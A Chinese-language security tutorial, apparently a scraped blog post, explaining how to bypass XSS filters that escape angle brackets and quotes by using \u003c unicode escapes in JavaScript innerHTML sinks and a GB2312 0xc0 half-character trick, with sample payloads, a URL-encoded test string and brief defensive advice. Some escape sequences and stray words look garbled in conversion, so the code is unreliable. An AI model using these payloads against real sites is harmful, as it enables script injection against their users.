你們都知道,廣泛的防護XSS攻擊的方法是在後臺對如下字符進行轉義:<、>、’、」,可是通過本人的研究發現,在一些特殊場景下,即便對以上字符進行了轉義,仍是能夠執行XSS攻擊的。html
首先看一個JS的例子:git
1
2
3
4
|
<script>
var s = "u003cu003e";
alert(s);
</script>
|
看到這麼熟悉的尖括號,你們會不會有一些興奮的感受呢?JS代碼中並無出現尖括號,但是運行時卻輸出了尖括號!!!這意味着:能夠經過u003c和u003e來代替<和>。但是該如何利用這個特性來構造XSS攻擊呢?繼續看一個例子:github
1
2
3
4
5
6
7
|
<div id='s'>
test
</div>
<script>
var s = "u003cimg src=1 onerror=alert(/xss/)u003e";
document.getElementById('s').innerHTML = s;
</script>
|
運行上面代碼,結果顯示以下:json
在沒有尖括號的狀況下,成功實現了一個彈框的案例。安全
如今來設想一個更貼近實際開發狀況的例子:
(1)這裏咱們用網絡安全攻防研究室網站首頁進行演示:http://www.91ri.org/ main.html,其代碼爲:網絡
1
2
3
4
5
6
7
8
9
10
|
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>
|
(2)http://www.victim.com/getcontent返回的內容格式以下:異步
1
|
callback({"name":"xx"});
|
其中name的值是用戶的暱稱。xss
這個例子簡單模擬了異步拉取信息並進行顯示的狀況。函數
如今假設用戶的暱稱爲:
1
|
u003cimg src=1 onerror=alert(/xss/)u003e
|
那麼會是什麼狀況呢?
首先getcontent返回的暱稱應該是這樣的:
1
|
\u003cimg src=1 onerror=alert(/xss/)\u003e
|
由於後臺輸出JSON格式數據時,通常都會在前面添加轉義符進行轉義。
接着main.html的callback函數應該是等價於執行下面的語句:
1
|
document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";
|
顯示的結果以下:
很遺憾,沒有彈出框。緣由是原來的轉義序列u003c並無生效,被添加的轉義符轉義掉了。
不過這裏假設返回暱稱時對進行了轉義,但實際狀況下,有時輸出json格式數據時是沒有對進行轉義的,那樣就會觸發漏洞。
對於有對進行轉義的,這時就輪到咱們強大的半字符出場了。對於半字符的問題,這裏並不打算詳細講,說下結論:
對於gb2312編碼,」 [0xc0] 「是一個合法的編碼,顯示爲:」繺」。
對於UTF-8編碼,在IE6下,上述組合也是一個合法的編碼。
其中[0xc0]表示一個十六進制的值。
如今修改暱稱爲:
1
|
[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e
|
getcontent輸出:
1
|
callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});
|
因爲半字符[0xc0]的存在,在解釋上述JS代碼時,等價於:
1
|
callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});
|
可見,轉義序列u003c終於又回來了,顯示結果以下:
上述暱稱中並無出現單雙引號,尖括號,因此若是後臺只是對單雙引號和尖括號進行轉義,那麼是能夠被繞過防護的。
總結:
(1) 利用場景:輸出內容在JS代碼裏,而且被動態顯示出來(如使用innerHTML)。
(2) 測試方法:截獲請求包,修改參數爲:
1
|
%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e
|
(3) 防護方法:後臺對半字符,反斜槓,單雙引號,尖括號進行處理。
編輯點評:關於xss繞過的方式有不少,很多程序員以及小黑都認爲過濾了<、>、’、」,就真的安全的,實際來講,只要針對這些字符進行必定的轉義,就能成功繞過!